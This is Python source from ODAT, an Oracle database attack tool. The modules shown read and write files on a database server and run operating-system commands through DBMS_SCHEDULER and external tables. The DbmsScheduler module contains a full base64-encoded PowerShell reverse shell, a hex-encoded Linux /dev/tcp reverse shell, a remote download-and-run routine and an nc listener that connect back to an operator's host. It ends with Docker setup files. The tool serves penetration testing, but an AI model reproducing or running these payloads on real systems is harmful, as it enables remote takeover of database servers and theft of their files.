self.__createOrRemplaceDirectory__(remotePath) if isinstance(status,Exception): return status cursor = cx_Oracle.Cursor(self.args['dbcon']) cursor.callproc("dbms_output.enable") try: cursor.execute(DBMS_LOB_GET_FILE.format(self.directoryName, remoteNameFile)) except Exception as e: logging.info("Impossible to execute the query `{0}`: {1}".format(DBMS_LOB_GET_FILE, self.cleanError(e))) self.__dropDirectory__() return ErrorSQLRequest(e) else : statusVar = cursor.var(cx_Oracle.NUMBER) lineVar = cursor.var(cx_Oracle.STRING) while True: cursor.callproc("dbms_output.get_line", (lineVar, statusVar)) if statusVar.getvalue() != 0: break line = lineVar.getvalue() if line == None : line = '' data += line logging.info(repr(line)) cursor.close() elif isFileExist == False : data = False else : data = isFileExist self.__dropDirectory__() return data def getFileExist (self, remotePath, remoteNameFile): ''' Return true if file exists ''' exist, returnedValue = False, False logging.info("Test if the {1}{0} file exists".format(remoteNameFile,remotePath)) self.__setDirectoryName__() status = self.__createOrRemplaceDirectory__(remotePath) if isinstance(status,Exception): return status DBMS_LOB_FILE_EXISTS = "DECLARE l_loc BFILE; l_ret BOOLEAN := FALSE; BEGIN l_loc := BFILENAME('{0}','{1}'); l_ret := DBMS_LOB.FILEEXISTS(l_loc) = 1; IF (l_ret) THEN dbms_output.put_line('True'); ELSE dbms_output.put_line('False'); END IF;END;" cursor = cx_Oracle.Cursor(self.args['dbcon']) try : cursor.callproc("dbms_output.enable") try: cursor.execute(DBMS_LOB_FILE_EXISTS.format(self.directoryName, remoteNameFile)) except Exception as e: logging.info("Impossible to execute the query `{0}`: {1}".format(DBMS_LOB_FILE_EXISTS, self.cleanError(e))) returnedValue = ErrorSQLRequest(e) else : statusVar = cursor.var(cx_Oracle.NUMBER) lineVar = cursor.var(cx_Oracle.STRING) cursor.callproc("dbms_output.get_line", (lineVar, statusVar)) if statusVar.getvalue() != 0: returnedValue = False line = lineVar.getvalue() if line == None : line = '' if "True" in line : logging.debug("The file exist: good news") returnedValue = True elif "False" in line : logging.debug("The file doesn't exist") returnedValue = False else : logging.warning("Can't know if the file exist. There is an error: {0}".format(line)) returnedValue = ErrorSQLRequest(line) cursor.close() except Exception as e: returnedValue = ErrorSQLRequest(e) self.__dropDirectory__() return returnedValue def testAll(self): ''' Test all functions ''' folder = self.__generateRandomString__() self.args['print'].subtitle("DBMS_LOB to read files ?") logging.info("Simulate the file reading in the {0} folder thanks to DBMS_LOB".format(folder)) status = self.getFile (remotePath=folder, remoteNameFile='data.txt', localFile="test.txt") if status == True or status == False: self.args['print'].goodNews("OK") else : self.args['print'].badNews("KO") def runDbmsLob (args): ''' Run the DbmsLob module ''' status = True if checkOptionsGivenByTheUser(args,["test-module","getFile"]) == False : return EXIT_MISS_ARGUMENT dbmsLob = DbmsLob(args) status = dbmsLob.connection(stopIfError=True) if args['test-module'] == True : args['print'].title("Test if the DbmsLob module can be used") status = dbmsLob.testAll() #Option 1: getFile if args['getFile'] != None: args['print'].title("Read the {0} file stored in the {1} path".format(args['getFile'][1],args['getFile'][0])) data = dbmsLob.getFile (remotePath=args['getFile'][0], remoteNameFile=args['getFile'][1], localFile=args['getFile'][2]) if isinstance(data,Exception): args['print'].badNews("There is an error: {0}".format(data)) elif data == False : args['print'].badNews("The {0} file in {1} doesn't exist".format(args['getFile'][1],args['getFile'][0])) elif data == '' : args['print'].badNews("The {0} file is empty".format(args['getFile'])) else : args['print'].goodNews("Data stored in the {0} file sored in {1} (copied in {2} locally):\n{3}".format(args['getFile'][1],args['getFile'][0],args['getFile'][2],data)) odat-5.1.1/DbmsScheduler.py000066400000000000000000000365361423220672100155570ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- from OracleDatabase import OracleDatabase import logging, cx_Oracle, subprocess from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser from Constants import * from time import sleep from threading import Thread import base64 from MinHtppServer import serverFileForOneRequest class DbmsScheduler (OracleDatabase): ''' Allow the user to execute a command on the remote database system with DBMS_SCHEDULER ''' R_SHELL_COMMAND_POWERSHELL_PAYLOAD = 'function ReverseShellClean {{if ($c.Connected -eq $true) {{$c.Close()}}; if ($p.ExitCode -ne $null) {{$p.Close()}}; exit; }};$a="{0}"; $port="{1}";$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$p=New-Object System.Diagnostics.Process ;$p.StartInfo.FileName="cmd.exe" ;$p.StartInfo.RedirectStandardInput=1 ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;while($os.Peek() -ne -1){{$out += $e.GetString($os.Read())}} $s.Write($e.GetBytes($out),0,$out.Length);$out=$null;$done=$false;while (-not $done) {{if ($c.Connected -ne $true) {{cleanup}} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) {{ $read=$s.Read($nb,$pos,$nb.Length - $pos); $pos+=$read;if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {{break}}}} if ($pos -gt 0){{ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {{ReverseShellClean}} else {{ $out=$e.GetString($os.Read());while($os.Peek() -ne -1){{ $out += $e.GetString($os.Read());if ($out -eq $string) {{$out=" "}}}} $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}}}} else {{ReverseShellClean}}}};' # {0} IP, {1} port R_SHELL_COMMAND_POWERSHELL = "powershell.exe -EncodedCommand {0}" # {0} powershell code base64 encoded SIZE_LIMIT_ARG = 1024 # Size max of an argument with set_job_argument_value def __init__(self,args): ''' Constructor ''' logging.debug("DbmSscheduler object created") OracleDatabase.__init__(self,args) self.jobName = None self.CMD_WIND_PATH = "c:\windows\system32\cmd.exe" self.PS_X86_PATH = """C:\windows\syswow64\windowspowershell\\v1.0\powershell.exe""" self.PS_X64_PATH = """C:\Windows\System32\WindowsPowerShell\\v1.0\powershell.exe""" def __removeJob__(self, jobName, force=False, defer=True): ''' Remove a Job from dbmssceduler If force is set to TRUE, the Scheduler first attempts to stop the running job instances (by issuing the STOP_JOB call with the force flag set to false), and then drops the jobs. If defer is set to TRUE, the Scheduler allows the running jobs to complete and then drops the jobs. Setting both force and defer to TRUE results in an error. If both force and defer are set to FALSE and a job is running at the time of the call, the attempt to drop that job fails. Dropping a job requires ALTER privileges on the job either as the owner of the job or as a user with the ALTER object privilege on the job or the CREATE ANY JOB system privilege. Return True if no error, otherwise return Exception ''' parameters = {'job_name': jobName, 'force': force, 'defer': defer} #'force': force, 'defer': defer cursor = cx_Oracle.Cursor(self.args['dbcon']) try: logging.info("Trying to remove job {0}".format(jobName)) #cursor.callproc(name="DBMS_SCHEDULER.drop_job", keywordParameters=parameters) cursor.execute("begin DBMS_SCHEDULER.drop_job('{0}', {1}, {2}); end;".format(jobName, force, defer)) except Exception as e: logging.info('Error with DBMS_SCHEDULER.drop_job: {0}'.format(self.cleanError(e))) return ErrorSQLRequest(e) if defer == False: logging.info("Job {0} has been removed".format(jobName)) else: logging.info("When job will be completed, the job {0} will be dropped".format(jobName)) return True def __createJob__(self, cmd): ''' Create a job for DBMS_SCHEDULER Be Careful: Special chars are not allowed in the command line ''' logging.info('Create a job named {0}'.format(self.jobName)) splitCmd = cmd.split() parameters = {'job_name':self.jobName,'job_type':'EXECUTABLE','job_action':splitCmd[0],'number_of_arguments':len(splitCmd)-1} #'auto_drop':True does not work with CX_Oralce. Why ? cursor = cx_Oracle.Cursor(self.args['dbcon']) try : if self.args['show_sql_requests'] == True: logging.info("SQL request executed: DBMS_SCHEDULER.create_job with these parameters: {0}".format(parameters)) cursor.callproc(name="DBMS_SCHEDULER.create_job",keywordParameters=parameters) #cursor.execute("begin DBMS_SCHEDULER.create_job(:job_name, :job_type, :job_action, :number_of_arguments, :auto_drop); end;", parameters) except Exception as e: logging.info('Error with DBMS_SCHEDULER.create_job: {0}'.format(self.cleanError(e))) return ErrorSQLRequest(e) else : for pos,anArg in enumerate(splitCmd): if pos!=0: parameters = {'job_name':self.jobName,'argument_position':pos,'argument_value':anArg} try : if self.args['show_sql_requests'] == True: logging.info("SQL request executed: DBMS_SCHEDULER.set_job_argument_value with these parameters: {0}".format(parameters)) cursor.callproc(name="DBMS_SCHEDULER.set_job_argument_value",keywordParameters=parameters) except Exception as e: logging.info('Error with DBMS_SCHEDULER.set_job_argument_value:{0}'.format(self.cleanError(e))) return ErrorSQLRequest(e) return True def __runJob__(self): ''' run the job named self.jobName ''' logging.info('Run the job') cursor = cx_Oracle.Cursor(self.args['dbcon']) try : cursor.callproc(name="DBMS_SCHEDULER.enable",keywordParameters={'name':self.jobName}) except Exception as e: logging.info('DBMS_SCHEDULER.enable:{0}'.format(self.cleanError(e))) return ErrorSQLRequest(e) return True def __getJobStatus__(self): ''' Get the job status from user_scheduler_job_log table return Exception if error return False : the job is not created or job is running return Exception: there is an exception return string if NOT SUCCESS return True if SUCCESS ''' sleep(3) query = "SELECT status, additional_info FROM USER_SCHEDULER_JOB_RUN_DETAILS WHERE job_name = '{0}'".format(self.jobName) response = self. __execThisQuery__(query=query,ld=['status','additional_info']) if isinstance(response,Exception) : logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) return ErrorSQLRequest(response) if response == [] : self.args['print'].goodNews("The Job is running") return False elif response[0]['status'] == "FAILED" : self.args['print'].badNews("The Job has failed: {0}".format(response[0]['additional_info'])) str(response[0]['additional_info']) return False else : self.args['print'].goodNews("The Job is finish") return True def execOSCommand(self, cmd, prepandWindCmdPath=False): ''' Execute an OS command on the remote database system Example: exec DBMS_SCHEDULER.CREATE_JOB(job_name=>'J1226',job_type=>'EXECUTABLE',number_of_arguments=>3,job_action =>'/bin/ping',auto_drop=>FALSE); exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('J1226',1,'-c'); exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('J1226',2,'2'); exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('J1226',3,'192.168.56.1'); exec DBMS_SCHEDULER.ENABLE('J1226'); select log_id, log_date, job_name, status, error#, additional_info from dba_scheduler_job_run_details where job_name ='J1226'; If prepandWindCmdPath is enabled, prepand path to cmd.exe before executing the command. ''' self.jobName = self.__generateRandomString__(nb=20) logging.info('Execute the following command on the remote database system: {0}'.format(cmd)) logging.info('Be Careful: Special chars are not allowed in the command line') if ">" in cmd: logging.warning('Be Careful: Special chars are not allowed in the command line and it seems you are using one') if prepandWindCmdPath == True: fullCmd = "{0} /c {1}".format(self.CMD_WIND_PATH, cmd) else: fullCmd = cmd status = self.__createJob__(fullCmd) if isinstance(status,Exception): return status status = self.__runJob__() if isinstance(status,Exception): return status return True def __runListenNC__ (self,port=None): ''' nc listen on the port ''' try : subprocess.call("nc -l -4 -n -v -p {0}".format(port), shell=True) except KeyboardInterrupt: pass def giveReverseShell(self, localip, localport, httpServerTimeout=15, targetFilename="tfod.cmd"): ''' Give a reverse tcp shell via nc Need upload nc.exe if the remote system is windows - httpServerTimeout: time before to close the connection (Windows Only) - targetFilename: path to the file on the target (Windows Only) ''' if self.remoteSystemIsWindows() == True : CMD_EXEC_FILE = ".\{0}" CMD_DEL_FILE = "del {0}" httpPort = None CMD = self.getReverseShellPowershellCommand(localip, localport) logging.debug('The following command will be executed on the target: {0}'.format(CMD)) httpPort = int(input("Give me the local port for the temporary http file server {e.g. 8080): ")) logging.debug("The http server will listen on {0}:{1} during {2} seconds".format(localip, httpPort, httpServerTimeout)) tHttpServer = Thread(None, serverFileForOneRequest, None, (), {'ip':localip, 'port':httpPort, 'content':CMD.encode('utf-8'), 'timeout':httpServerTimeout}) tHttpServer.start() logging.debug("Http Server started in a new thread") urlToDownload = "http://{0}:{1}/{2}".format(localip, httpPort, self.__generateRandomString__(nb=10)) logging.debug("URL used to make the target download the file {0}: {1}".format(targetFilename, urlToDownload)) status = self.makeDownloadFile(urlToDownload, targetFilename) logging.debug("Starting the local listener in a new thread") a = Thread(None, self.__runListenNC__, None, (), {'port': localport}) a.start() try: self.execOSCommand(cmd=CMD_EXEC_FILE.format(targetFilename), prepandWindCmdPath=True) except KeyboardInterrupt: self.args['print'].goodNews("Connection closed") status = self.__getJobStatus__() self.__removeJob__(self.jobName, force=False, defer=True) logging.debug("Removing file {0} remotely".format(targetFilename)) self.execOSCommand(cmd=CMD_DEL_FILE.format(targetFilename), prepandWindCmdPath=True) status = self.__getJobStatus__() self.__removeJob__(self.jobName, force=False, defer=True) elif self.remoteSystemIsLinux() == True : #PYTHON_CODE = """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{0}",{1}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);""".format(localip, localport) PYTHON_CODE = """import os; os.system('exec 5<>/dev/tcp/{0}/{1}; /bin/cat <&5 | while read line; do $line 2>&5 >&5; done');""".format(localip, localport) CMD = '''/usr/bin/python -c exec('{0}'.decode('hex'))'''.format(PYTHON_CODE.encode('utf-8').hex()) logging.debug('The following command will be executed on the target: {0}'.format(CMD)) self.args['print'].goodNews("The python reverse shell tries to connect to {0}:{1}".format(localip,localport)) a = Thread(None, self.__runListenNC__, None, (), {'port':localport}) a.start() try : self.execOSCommand(cmd=CMD) except KeyboardInterrupt: self.args['print'].goodNews("Connection closed") self.__getJobStatus__() self.__removeJob__(self.jobName, force=False, defer=True) else : logging.error("The remote server OS ({0}) is unknown".format(self.remoteOS.lower())) def getReverseShellPowershellCommand(self, localip, localport): ''' Return a powershell reverse shell complete command (obfuscated) The powershell command will connect to localip:localport A listener is required for getting the reverse shell :return: string (to execute) ''' ps_code = self.R_SHELL_COMMAND_POWERSHELL_PAYLOAD.format(localip, localport).encode('UTF-16LE') ps_code_encoded = base64.b64encode(ps_code).decode('utf-8') cmdAndPayload = "{0} -EncodedCommand {1}".format(self.PS_X64_PATH, ps_code_encoded) #cmdAndPayload = self.R_SHELL_COMMAND_POWERSHELL.format(base64.b64encode("".join([c + '\x00' for c in self.R_SHELL_COMMAND_POWERSHELL_PAYLOAD.format(localip, localport)]).encode('utf-8'))) return cmdAndPayload def makeDownloadFile(self, urlToFile, remoteFilePath): ''' Make the target download local file localFilePath to remoteFilePath :param localFile: :return: status of the job (True or False if an error) ''' PS_CODE_DOWNLOAD = """$c=new-object System.Net.WebClient;$c.DownloadFile("{0}", "{1}")"""#{0}urlToFile, {1}urlToFile ps_code = PS_CODE_DOWNLOAD.format(urlToFile, remoteFilePath).encode('UTF-16LE') ps_code_encoded = base64.b64encode(ps_code).decode('utf-8') cmdAndPayload = "{0} -EncodedCommand {1}".format(self.PS_X64_PATH, ps_code_encoded) self.execOSCommand(cmd=cmdAndPayload) status = self.__getJobStatus__() self.__removeJob__(self.jobName, force=False, defer=True) return status def testAll (self): ''' Test all functions ''' command = self.__generateRandomString__() self.args['print'].subtitle("DBMSSCHEDULER library ?") logging.info("Try to use the DBMScheduler library to execute the following random command: {0}".format(command)) status = self.execOSCommand(cmd=command) if status == True or self.ERROR_BAD_FOLDER_OR_BAD_SYSTEM_PRIV in str(status): self.args['print'].goodNews("OK") else : self.args['print'].badNews("KO") self.__removeJob__(self.jobName, force=True, defer=False) def runDbmsSchedulerModule(args): ''' Run the DBMSAdvisor module ''' status = True if checkOptionsGivenByTheUser(args,["test-module","exec","reverse-shell","make-download"]) == False : return EXIT_MISS_ARGUMENT dbmsScheduler = DbmsScheduler(args) status = dbmsScheduler.connection(stopIfError=True) if args['test-module'] == True : args['print'].title("Test if the DBMSScheduler library can be used") status = dbmsScheduler.testAll() #Option 1: exec if args['exec'] != None: args['print'].title("Execute the `{0}` on the {1} server".format(args['exec'],args['server'])) status = dbmsScheduler.execOSCommand(args['exec'], prepandWindCmdPath=args['cmd-exe']) if status == True: args['print'].goodNews("The `{0}` command was executed on the {1} server".format(args['exec'],args['server'])) else : args['print'].badNews("The `{0}` command was not executed on the {1} server: {2}".format(args['exec'],args['server'],str(status))) dbmsScheduler.__getJobStatus__() dbmsScheduler.__removeJob__(dbmsScheduler.jobName, force=True, defer=False) #Option 2: reverse shell if args['reverse-shell'] != None : args['print'].title("Try to give you a reverse shell from the {0} server".format(args['server'])) dbmsScheduler.giveReverseShell(localip=args['reverse-shell'][0],localport=args['reverse-shell'][1]) # Option 2: make target download a local file if args['make-download'] != None: args['print'].title("Try to make the target {0} download local file {1} with powershell over http, and saved it in {2}".format(args['server'], args['make-download'][0], args['make-download'][1])) args['print'].printImportantNotice("You have to serve the file according to your path {0} over a http server. 'python -m SimpleHTTPServer PORT' can be used for example ".format(args['make-download'][0])) dbmsScheduler.makeDownloadFile(urlToFile=args['make-download'][0], remoteFilePath=args['make-download'][1]) dbmsScheduler.close() odat-5.1.1/DbmsXslprocessor.py000066400000000000000000000140711423220672100163350ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- from DirectoryManagement import DirectoryManagement import logging, random, string from Utils import checkOptionsGivenByTheUser from Constants import * import cx_Oracle from Utils import ErrorSQLRequest class DbmsXslprocessor (DirectoryManagement): ''' Allow the user to write file on the remote database system with DbmsXslprocessor ''' def __init__(self,args): ''' Constructor ''' logging.debug("DbmsXslprocessor object created") DirectoryManagement.__init__(self,args) def putFile (self, remotePath, remoteNameFile, data=None, localFile=None): ''' Put a file on the remote database server Exemple : CREATE OR REPLACE DIRECTORY XML_DIR AS 'C:\temp\'; exec dbms_xslprocessor.clob2file('dede', 'XML_DIR','outfile.txt'); ''' if (localFile == None and data==None) or (localFile != None and data!=None): logging.critical("To put a file, choose between a localFile or data") if data==None : logging.info('Copy the {0} file to the {1} remote path like {2}'.format(localFile,remotePath,remoteNameFile)) else : logging.info('Copy this data : `{0}` in the {2} in the {1} remote path'.format(data,remotePath,remoteNameFile)) self.__setDirectoryName__() status = self.__createOrRemplaceDirectory__(remotePath) if isinstance(status,Exception): return status if localFile != None : data = self.__loadFile__(localFile) logging.debug("Decoding bytes as {0} before executing dbms_xslprocessor.clob2file".format(self.encoding)) try: dataStr = data.decode(self.encoding) except Exception as e: logging.error("Impossible to decode as {0} bytes: {1} ({2})".format(self.encoding,repr(data), str(e))) return Exception(e) response = self.__execProc__("dbms_xslprocessor.clob2file",options=(dataStr, self.directoryName, remoteNameFile)) if isinstance(response,Exception): logging.info("Impossible to create a file with dbms_xslprocessor: {0}".format(self.cleanError(response))) return response return True def getFile(self, remotePath, remoteNameFile, localFile): ''' Get a file from the remote database server with READ2CLOB Save file in localFile ''' READ2CLOB_GET_FILE = """ DECLARE clob_value CLOB DEFAULT NULL; utlfile_directory VARCHAR2 (100) DEFAULT '{0}'; filename VARCHAR2 (100) DEFAULT '{1}'; BEGIN clob_value := DBMS_XSLPROCESSOR.read2clob (flocation => utlfile_directory, fname => filename); DBMS_OUTPUT.put_line (clob_value); END; """ data = "" logging.info('Trying to download the file `{0}` stored in {1}...'.format(remoteNameFile, remotePath)) self.__setDirectoryName__() status = self.__createOrRemplaceDirectory__(remotePath) if isinstance(status, Exception): return status cursor = cx_Oracle.Cursor(self.args['dbcon']) cursor.callproc("dbms_output.enable") try: cursor.execute(READ2CLOB_GET_FILE.format(self.directoryName, remoteNameFile)) except Exception as e: logging.info("Impossible to execute the query `{0}`: {1}".format(READ2CLOB_GET_FILE, self.cleanError(e))) self.__dropDirectory__() return ErrorSQLRequest(e) else: statusVar = cursor.var(cx_Oracle.NUMBER) lineVar = cursor.var(cx_Oracle.STRING) while True: cursor.callproc("dbms_output.get_line", (lineVar, statusVar)) if statusVar.getvalue() != 0: break line = lineVar.getvalue() if line == None: line = '' data += line logging.info(repr(line)) cursor.close() logging.info("Creating local file {0}...".format(localFile)) f = open(localFile,'w') f.write(data) f.close() return True def testAll (self): ''' Test all functions ''' folder = self.__generateRandomString__() self.args['print'].subtitle("DBMS_XSLPROCESSOR library ?") logging.info("Simulate the file creation in the {0} folder with DBMS_XSLPROCESSOR".format(folder)) logging.info('The file is not created remotly because the folder should not exist') status = self.putFile(folder,'temp.txt',data=b'data in file') if status == True or self.ERROR_BAD_FOLDER_OR_BAD_SYSTEM_PRIV in str(status) or self.ERROR_FILEOPEN_FAILED in str(status): self.args['print'].goodNews("OK") else : self.args['print'].badNews("KO") def runDbmsXslprocessorModule(args): ''' Run the DbmsXslprocessor module ''' status = True if checkOptionsGivenByTheUser(args,["test-module","putFile","getFile"]) == False : return EXIT_MISS_ARGUMENT dbmsXslprocessor = DbmsXslprocessor(args) status = dbmsXslprocessor.connection(stopIfError=True) if args['test-module'] == True : args['print'].title("Test if the DBMSAdvisor library can be used") status = dbmsXslprocessor.testAll() #Option 1: putLocalFile if args['putFile'] != None: args['print'].title("Put the {0} local file in the {1} path (named {2}) of the {3} server".format(args['putFile'][2],args['putFile'][0],args['putFile'][1],args['server'])) status = dbmsXslprocessor.putFile(remotePath=args['putFile'][0], remoteNameFile=args['putFile'][1], localFile=args['putFile'][2]) if status == True: args['print'].goodNews("The {0} local file was put in the remote {1} path (named {2})".format(args['putFile'][2],args['putFile'][0],args['putFile'][1])) else : args['print'].badNews("The {0} local file was not put in the remote {1} path (named {2}): {3}".format(args['putFile'][2],args['putFile'][0],args['putFile'][1],str(status))) # Option 1: putLocalFile if args['getFile'] != None: args['print'].title("Get the {0} remote file from the {1} path (named {2}) of the {3} server".format(args['getFile'][2], args['getFile'][0], args['getFile'][1], args['server'])) status = dbmsXslprocessor.getFile(remotePath=args['getFile'][0], remoteNameFile=args['getFile'][1],localFile=args['getFile'][2]) if status == True: args['print'].goodNews("The {0} remote file was downloaded in {1}".format(args['getFile'][1], args['getFile'][2])) else: args['print'].badNews("The {0} remote file was not put in {1}: {2}".format(args['getFile'][1], args['getFile'][2],str(status))) dbmsXslprocessor.close() odat-5.1.1/DirectoryManagement.py000066400000000000000000000055611423220672100167660ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- from OracleDatabase import OracleDatabase import logging class DirectoryManagement(OracleDatabase): ''' Allow to manage directories ''' def __init__(self,args): ''' Constructor ''' logging.debug("DirectoryManagement object created") OracleDatabase.__init__(self,args) self.PREFIX = "ODATPREFIX" #self.__dropAllOldDirectories__() self.__setDirectoryName__() def __setDirectoryName__(self): ''' Generate a new directory name ''' logging.debug('Generate a new directory name localy') self.directoryName = self.PREFIX + self.__generateRandomString__(nb=20).upper() def __createOrRemplaceDirectory__(self,path): ''' Create a directory and grant READ,WRITE to PUBLIC Return True if no error, otherwise return exception ''' logging.debug('Create or remplace the {0} directory to {1}'.format(self.directoryName, path)) CREATE_REQUEST = "CREATE OR REPLACE DIRECTORY {0} AS '{1}'".format(self.directoryName, path) GRANT_REQUEST = "GRANT READ,WRITE ON DIRECTORY {0} TO PUBLIC".format(self.directoryName) response = self.__execPLSQL__(CREATE_REQUEST) if isinstance(response,Exception): logging.info("Impossible to create the directory: {0}".format(str(response).replace('\n',' '))) return response response = self.__execPLSQL__(GRANT_REQUEST) if isinstance(response,Exception): logging.info("Impossible to grant privileges on the directory: {0}".format(str(response).replace('\n',' '))) return response return True def __dropThisDirectory__(self, nameOfTheDirectory): ''' Drop the directoryName directory Return True if no error, otherwise return exception ''' logging.debug('Drop the {0} directory'.format(nameOfTheDirectory)) DROP_REQUEST = "DROP DIRECTORY {0}".format(nameOfTheDirectory) response = self.__execPLSQL__(DROP_REQUEST) if isinstance(response,Exception): logging.info("Impossible to drop the directory: {0}".format(str(response).replace('\n',' '))) return response return True def __dropDirectory__(self): ''' Drop the directoryName directory Return True if no error, otherwise return exception ''' return self.__dropThisDirectory__(self.directoryName) def __dropAllOldDirectories__(self): ''' Drop all directories created Return False if error Otherwise return True ''' logging.debug('Drop all directories created') SELECT_REQ = "SELECT directory_name FROM all_directories WHERE directory_name LIKE '{0}%'".format(self.PREFIX) response = self. __execThisQuery__(query=SELECT_REQ,ld=['directory_name']) if isinstance(response,Exception) : logging.info('Error with the SQL request {0}: {1}'.format(SELECT_REQ,str(response))) return ErrorSQLRequest(response) if response == [] : logging.debug("No directory to delete") return True else : for aDir in response : self.__dropThisDirectory__(aDir['directory_name']) return True odat-5.1.1/Docker/000077500000000000000000000000001423220672100136535ustar00rootroot00000000000000odat-5.1.1/Docker/Dockerfile000066400000000000000000000040351423220672100156470ustar00rootroot00000000000000FROM debian:wheezy # Reduce output from debconf env DEBIAN_FRONTEND noninteractive # Install python-dev, alien and libaio1 package (for sqlplus) and some python libraries RUN apt-get update && apt-get install -y --no-install-recommends apt-utils git wget libaio1 alien build-essential dpkg-dev python-dev python-pip python-scapy ca-certificates WORKDIR /tmp # Generate DEB files from RPM files to install instant client basic, sdk and sqlplus ADD oracle-instantclient12.1-basic-12.1.0.1.0-1.x86_64.rpm /tmp/oracle-instantclient12.1-basic-12.1.0.1.0-1.x86_64.rpm ADD oracle-instantclient12.1-devel-12.1.0.1.0-1.x86_64.rpm /tmp/oracle-instantclient12.1-devel-12.1.0.1.0-1.x86_64.rpm ADD oracle-instantclient12.1-sqlplus-12.1.0.1.0-1.x86_64.rpm /tmp/oracle-instantclient12.1-sqlplus-12.1.0.1.0-1.x86_64.rpm RUN alien --to-deb oracle-instantclient12.1-basic-12.1.0.1.0-1.x86_64.rpm oracle-instantclient12.1-sqlplus-12.1.0.1.0-1.x86_64.rpm oracle-instantclient12.1-devel-12.1.0.1.0-1.x86_64.rpm RUN dpkg -i oracle-instantclient12.1-basic_12.1.0.1.0-2_amd64.deb oracle-instantclient12.1-sqlplus_12.1.0.1.0-2_amd64.deb oracle-instantclient12.1-devel_12.1.0.1.0-2_amd64.deb RUN bash -c 'rm *.{deb,rpm}' # Define Oracle env variables RUN bash -c 'echo "export ORACLE_HOME=/usr/lib/oracle/12.1/client64" >> /etc/profile' RUN bash -c 'echo "export LD_LIBRARY_PATH=\$LD_LIBRARY_PATH:\$ORACLE_HOME/lib" >> /etc/profile' RUN bash -c 'echo "export PATH=\$ORACLE_HOME/bin:\$PATH" >> /etc/profile' # Create the /etc/ld.so.conf.d/oracle.conf file and add the path to Oracle home RUN bash -c 'echo "/usr/lib/oracle/12.1/client64/lib/" > /etc/ld.so.conf.d/oracle.conf' RUN bash -c 'ldconfig' # Install CX_Oracle RUN bash -cl 'pip install cx_Oracle -i https://pypi.python.org/simple/' # Install some python libraries and pyinstaller RUN pip install colorlog termcolor pycrypto argcomplete pyinstaller -i https://pypi.python.org/simple/ RUN activate-global-python-argcomplete # Change to /root et clone odat project WORKDIR /root RUN git clone https://github.com/quentinhardy/odat.git WORKDIR odat odat-5.1.1/Docker/README.md000066400000000000000000000010131423220672100151250ustar00rootroot00000000000000You can use docker to rapidly deploy and use odat ! You can build it with the Dockerfile provided. * First, get RPMs of instant client basic, sdk (devel) and sqlplus from the Oracle web site *(use the same directory for Dockerfile and .rpm)* http://www.oracle.com/technetwork/topics/linuxx86-64soft-092277.html *(user registration required)* * Edit "Dockerfile" and adapt the version of downloaded RPMs *(line 9 to 13)* * Then : ```bash docker build -t="odat" . docker run --name myodat_container -i -t odat bash ``` odat-5.1.1/ExternalTable.py000066400000000000000000000157441423220672100155630ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- from DirectoryManagement import DirectoryManagement import logging, random, string from Utils import checkOptionsGivenByTheUser from Constants import * class ExternalTable (DirectoryManagement): ''' Allow the user to read file thanks to external tables ''' def __init__(self,args): ''' Constructor ''' logging.debug("ExternalTable object created") DirectoryManagement.__init__(self,args) self.tableName = self.__generateRandomString__() self.__setDirectoryName__() self.ERROR_EXTERNAL_TABLE_WITH_WRITE = "ORA-30653: " self.ERROR_EXTERNAL_TABLE_READ ="ORA-29400: " self.ERROR_ODCIEXTTABLEOPEN="ORA-29913: " def __createTableForReadFile__(self,remoteNameFile): ''' Create table name with, for exemple: CREATE TABLE rf1 (id NUMBER PRIMARY KEY, path VARCHAR(255) UNIQUE, ot_format VARCHAR(6)); ''' logging.info('Create the table: {0}'.format(self.tableName)) query = "CREATE TABLE {0} (line varchar2(256)) ORGANIZATION EXTERNAL (TYPE oracle_loader DEFAULT DIRECTORY {1} ACCESS PARAMETERS ( RECORDS DELIMITED BY NEWLINE BADFILE 'bad_data.bad' NOLOGFILE FIELDS TERMINATED BY ',' MISSING FIELD VALUES ARE NULL REJECT ROWS WITH ALL NULL FIELDS (line)) LOCATION ('{2}')) PARALLEL REJECT LIMIT 0 NOMONITORING".format(self.tableName, self.directoryName, remoteNameFile) response = self.__execThisQuery__(query=query,isquery=False) if isinstance(response,Exception) : logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) return response else : return True def __createTableForExec__(self,remoteNameFile): ''' Create a table in order to execute a command ''' logging.info('Create the table: {0}'.format(self.tableName)) query = """CREATE TABLE {0} ( line NUMBER , text VARCHAR2(4000)) ORGANIZATION EXTERNAL ( TYPE ORACLE_LOADER DEFAULT DIRECTORY {1} ACCESS PARAMETERS ( RECORDS DELIMITED BY NEWLINE NOLOGFILE PREPROCESSOR {1}: '{2}' FIELDS TERMINATED BY WHITESPACE ( line RECNUM , text POSITION(1:4000)) ) LOCATION ('{2}') ) REJECT LIMIT UNLIMITED""".format(self.tableName, self.directoryName, remoteNameFile) response = self.__execThisQuery__(query=query,isquery=False) if isinstance(response,Exception) : logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) return response else : return True def __dropTable__(self): ''' Drop the table with, for exemple DROP TABLE my_table PURGE; ''' logging.info('Drop the table: {0}'.format(self.tableName)) query = "DROP TABLE {0} PURGE".format(self.tableName) response = self.__execThisQuery__(query=query,isquery=False) if isinstance(response,Exception) : 